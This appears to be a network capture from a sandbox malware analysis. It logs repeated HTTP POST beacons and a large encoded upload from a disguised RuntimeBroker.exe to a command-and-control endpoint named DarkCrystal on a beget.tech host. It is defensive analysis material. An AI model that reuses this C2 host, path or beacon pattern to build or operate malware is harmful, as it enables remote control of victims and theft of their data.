87	192.168.2.4	50048	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:42.181385994 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:42.540148973 CET	2544	OUT	Data Raw: 55 5b 5c 59 56 58 5b 50 5d 5d 54 54 54 53 5b 53 56 5f 5f 5b 5b 51 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[\YVX[P]]TTTS[SV__[[QZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!$!""8&5>#',, ,Z>Z$+$/X<;#C19'Y&%[(0
Nov 9, 2024 22:23:43.102746964 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:43.168335915 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50054	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:43.567729950 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:43.914974928 CET	2544	OUT	Data Raw: 50 56 59 5a 53 5a 5b 50 5d 5d 54 54 54 51 5b 56 56 5e 5f 58 5b 52 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PVYZSZ[P]]TTTQ[VV^_X[RZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"3T* 5Y!.,X$<<44^)+Y'0<$?'B&>Z,/'Y&%[(8
Nov 9, 2024 22:23:44.469651937 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:44.536608934 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50060	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:44.242794037 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:44.586822987 CET	540	OUT	Data Raw: 55 57 5c 5a 56 5d 5b 53 5d 5d 54 54 54 57 5b 50 56 58 5f 58 5b 53 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UW\ZV][S]]TTTW[PVX_X[SZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!^%267(=5><X%<4!>$*; $$['Z,<$.9?'Y&%[(
Nov 9, 2024 22:23:45.152713060 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:45.217977047 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:45.218744040 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----NoeupqCpgEkXKqPTlSlZXJz4ss0z3TQbno User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 180002 Expect: 100-continue
Nov 9, 2024 22:23:45.500721931 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:45.501009941 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 6f 65 75 70 71 43 70 67 45 6b 58 4b 71 50 54 6c 53 6c 5a 58 4a 7a 34 73 73 30 7a 33 54 51 62 6e 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------NoeupqCpgEkXKqPTlSlZXJz4ss0z3TQbnoContent-Disposition: form-data; name="0"Content-Type: text/plainUVYYVV[]]]TTTR[TVZ_^[VZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:23:45.506099939 CET	7416	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:23:45.506130934 CET	2472	OUT	Data Raw: 4f 45 70 44 62 46 56 6a 4c 30 78 72 4e 32 77 32 57 55 39 52 54 32 52 42 65 47 38 7a 56 6b 5a 51 4d 55 5a 4b 4e 56 56 6c 59 79 74 58 64 6a 56 56 4e 56 70 51 51 6e 6c 31 63 47 59 78 57 6b 77 35 52 55 70 61 4e 56 56 56 59 6b 39 4f 4c 7a 5a 6d 4b 31 Data Ascii: OEpDbFVjL0xrN2w2WU9RT2RBeG8zVkZQMUZKNVVlYytXdjVVNVpQQnl1cGYxWkw5RUpaNVVVYk9OLzZmK1psS2xoZlcvd0RhRnplUlc5MmJLT0NlMHVJcEMyNk9OVUJqS3FWSVlLRGhpdURrZE9hZHFsL2IzZWlNaVhObk9HMHUwZ2h0WUxSNDdoTGlNSmt5UzdGM3hqYTN5bDNIM2NEZ0VhYlJSc2NtTlQ5UlNDS01ISWpRSDJ
Nov 9, 2024 22:23:45.506266117 CET	7416	OUT	Data Raw: 4c 7a 67 76 53 57 5a 6d 54 43 38 31 52 54 64 44 61 58 56 52 56 46 68 4d 4f 56 68 43 54 58 64 6a 52 43 74 46 63 55 31 49 4f 48 45 32 56 33 64 32 52 6e 5a 79 57 6c 70 57 52 30 51 77 57 6d 5a 52 4d 54 4d 30 53 45 34 34 55 47 70 61 54 30 5a 50 4e 6d Data Ascii: LzgvSWZmTC81RTdDaXVRVFhMOVhCTXdjRCtFcU1IOHE2V3d2RnZyWlpWR0QwWmZRMTM0SE44UGpaT0ZPNmE2UDhBcG5qNXh3empzcGdxdGV6aTlMeGJkbjUzU1phb29vcjB6NTRLRFJSUUFVZDYxbThOYXVqRldzeUdIWXlML2pRUERPcm5wYWYrUlUveHJpL3RQQmY4L28vK0JML003UDdPeG4vUHFYL2dML3lNbWl0Z2VGdGF
Nov 9, 2024 22:23:45.506947994 CET	4944	OUT	Data Raw: 62 30 35 4d 55 31 56 42 53 6c 4a 70 61 57 6c 6e 57 57 78 47 54 46 4e 56 52 45 56 77 51 30 74 6a 59 56 4e 6e 51 6e 52 47 53 32 46 54 5a 33 42 44 56 57 68 77 56 46 49 79 62 30 46 69 55 30 64 75 5a 48 46 52 61 57 64 5a 62 45 5a 4d 55 30 56 6a 4d 45 Data Ascii: b05MU1VBSlJpaWlnWWxGTFNVREVwQ0tjYVNnQnRGS2FTZ3BDVWhwVFIyb0FiU0duZHFRaWdZbEZMU0VjMEZDVWxLUlFhQm9iaWlscE1VREVwUHJUalNkYUFFb3BhUTBERXhta3hUdTlKUU1RL3dDY1VsS2FUK2RBd0lOQm82VWZ5b0dKMTRwS1dnL1dnQnZYbnY2MFlwZTlKUU1PTS9oU1VwL1dnOWZhZ1locE9sTGlqdFFBbVB
Nov 9, 2024 22:23:45.510947943 CET	2472	OUT	Data Raw: 4d 30 77 33 5a 32 6f 72 53 32 39 73 4d 48 68 4d 5a 54 56 58 4e 6e 4e 77 4e 54 64 54 4e 46 68 50 4d 6c 64 44 55 57 39 35 4e 55 64 45 5a 32 70 43 63 47 74 6c 61 56 64 54 55 58 52 46 4d 47 55 76 5a 57 4e 7a 56 44 46 4b 63 6e 64 75 62 47 78 57 65 56 Data Ascii: M0w3Z2orS29sMHhMZTVXNnNwNTdTNFhPMldDUW95NUdEZ2pCcGtlaVdTUXRFMGUvZWNzVDFKcndubGxWeVh2YUpMOEwvd0NaOUxIT3FFWVAzVzNKL25iL0FDSUxHenY5Y3N0UEZnbDFjV2RzWjF1b3JaQzdSM0psYzczVVpJeW13Qmp4aGNkcWRjWE0xdjRkMUNSSGxtdnJKemFXc3hPZHEzRzRzY2pxVjJTWS93Q3VwUGFwdjd
Nov 9, 2024 22:23:45.510998964 CET	8652	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:23:45.511023045 CET	1236	OUT	Data Raw: 4f 56 70 55 5a 55 4e 51 53 45 52 58 53 7a 4a 4d 56 33 4d 31 64 45 56 69 59 33 4e 43 64 6c 6b 76 54 45 49 31 4e 55 4d 33 4f 46 6f 31 55 44 55 78 4e 6b 77 34 54 7a 6c 46 4d 55 52 52 5a 6b 51 77 4d 58 52 78 56 55 6c 6f 62 57 55 32 59 56 56 4a 53 45 Data Ascii: OVpUZUNQSERXSzJMV3M1dEViY3NCdlkvTEI1NUM3OFo1UDUxNkw4TzlFMURRZkQwMXRxVUlobWU2YVVJSERmS1ZVZFFTT3hyeW9wdVZ6MnFGT2M2N2s0dFhYbVlsejR5czdhMHNETDQ4MkdhQXVKUDdISjg0ZVk2N3NiZmwrN3R4L3M1NzFGOFJmK1JpZy82OUYvOEFRM3IwNnZNZmlML3lNVUgvQUY2TC93Q2h2WHA1V3Y4QWE
Nov 9, 2024 22:23:45.511033058 CET	4944	OUT	Data Raw: 5a 44 5a 6b 61 47 6c 46 59 31 56 75 4b 32 56 73 54 47 6c 73 54 6b 5a 6f 62 31 6c 53 61 57 74 77 4f 55 35 76 52 30 6c 6c 59 55 52 54 4d 47 31 50 4f 55 6c 5a 4d 47 6f 34 59 56 45 77 4f 44 51 32 5a 44 5a 54 61 30 31 61 61 6d 31 71 64 43 74 4f 54 33 Data Ascii: ZDZkaGlFY1VuK2VsTGlsTkZob1lSaWtwOU5vR0llYURTMG1POUlZMGo4YVEwODQ2ZDZTa01aam1qdCtOT3h4VGNjK21LZGhpSHJTWXozcFNLT2NHa01Ta3h6K0ZMU2R2clJZWUdrN1lwZjBwRGdqaWl3eEtUclM5cU9sQXhPOUI0cGVQeXBNMERFeFFmWDlhZGpyM3BQclFBbEpTOXFUdlRHRklhWHJRUjNvc0EwamswblduRVV
Nov 9, 2024 22:23:46.323848963 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50061	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:44.669254065 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:45.024739981 CET	2544	OUT	Data Raw: 50 51 59 53 53 5c 5e 51 5d 5d 54 54 54 5d 5b 51 56 59 5f 58 5b 51 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PQYSS\^Q]]TTT][QVY_X[QZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"0"5#6>;37 - X=#_0X3$??1%,?'Y&%[(
Nov 9, 2024 22:23:45.589941978 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:45.636713028 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50069	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:45.773076057 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:46.126112938 CET	2544	OUT	Data Raw: 50 55 5c 5e 56 5c 5b 54 5d 5d 54 54 54 52 5b 53 56 50 5f 58 5b 54 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PU\^V\[T]]TTTR[SVP_X[TZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!_$"-@7866>'<#_#Z)8?0+3</(83D1>&[,?'Y&%[(
Nov 9, 2024 22:23:46.720999956 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:46.781786919 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50078	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:46.899427891 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:47.258795977 CET	2544	OUT	Data Raw: 50 57 59 58 53 5a 5e 55 5d 5d 54 54 54 5d 5b 52 56 5e 5f 5f 5b 5c 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PWYXSZ^U]]TTT][RV^__[\Z]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!$1E 8">'44.<Z*$'<(8%>]-'Y&%[(
Nov 9, 2024 22:23:47.806071997 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:47.873512030 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50079	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:47.061408043 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2196 Expect: 100-continue
Nov 9, 2024 22:23:47.415091038 CET	2196	OUT	Data Raw: 50 56 59 5a 56 57 5b 52 5d 5d 54 54 54 5d 5b 50 56 5b 5f 59 5b 5c 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PVYZVW[R]]TTT][PV[_Y[\ZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'!2"(:5 3Z3[7)7&%$3(?^$%&\-/'Y&%[(
Nov 9, 2024 22:23:47.981363058 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:48.029560089 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 58 3f 04 04 0f 21 29 3d 09 29 0f 32 0e 28 2e 22 02 27 30 20 16 2b 2c 25 16 2b 03 28 0c 20 2e 3a 14 30 3c 32 01 21 31 38 58 31 30 2b 5a 01 1c 26 1a 2b 03 0a 56 25 01 2a 1c 24 27 07 19 23 01 27 5d 25 24 05 5a 26 54 36 0d 3e 0a 23 0e 2c 21 0b 1e 2b 3d 20 1e 25 0f 07 0a 34 35 2a 55 03 12 20 0a 3e 03 09 1f 26 3d 30 0c 28 08 2b 01 22 10 28 03 35 15 01 03 24 16 2b 59 2c 23 3c 12 25 23 27 15 28 32 0d 1f 37 3c 0b 18 26 3a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #X?!)=)2(."'0 +,%+( .:0<2!18X10+Z&+V%$'#']%$Z&T6>#,!+= %45U >&=0(+"(5$+Y,#<%#'(27<&:#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50085	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:48.001552105 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:48.352535009 CET	2544	OUT	Data Raw: 50 57 5c 5d 53 58 5b 50 5d 5d 54 54 54 5c 5b 5a 56 5d 5f 5b 5b 5d 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PW\]SX[P]]TTT\[ZV]_[[]Z[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%"2#6!(]'#X<#^03%//?+&.9'Y&%[(
Nov 9, 2024 22:23:48.925367117 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:48.967863083 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50091	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:49.545883894 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:49.899405956 CET	2544	OUT	Data Raw: 55 57 59 52 53 5b 5e 55 5d 5d 54 54 54 5c 5b 54 56 50 5f 53 5b 5d 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UWYRS[^U]]TTT\[TVP_S[]ZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!^$"#+5Y#>,[3<(7$[;&&8Z0<Y<+'B%X6]-?'Y&%[(
Nov 9, 2024 22:23:50.473977089 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:50.531446934 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50101	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:50.674638033 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:51.024342060 CET	2544	OUT	Data Raw: 55 53 59 5a 56 5a 5b 57 5d 5d 54 54 54 56 5b 51 56 5e 5f 53 5b 51 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: USYZVZ[W]]TTTV[QV^_S[QZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!%15 ^=!-(Y3?/Z4.$>835#3< (+A2=>9'Y&%[($
Nov 9, 2024 22:23:51.586591005 CET	25	IN	HTTP/1.1 100 Continue
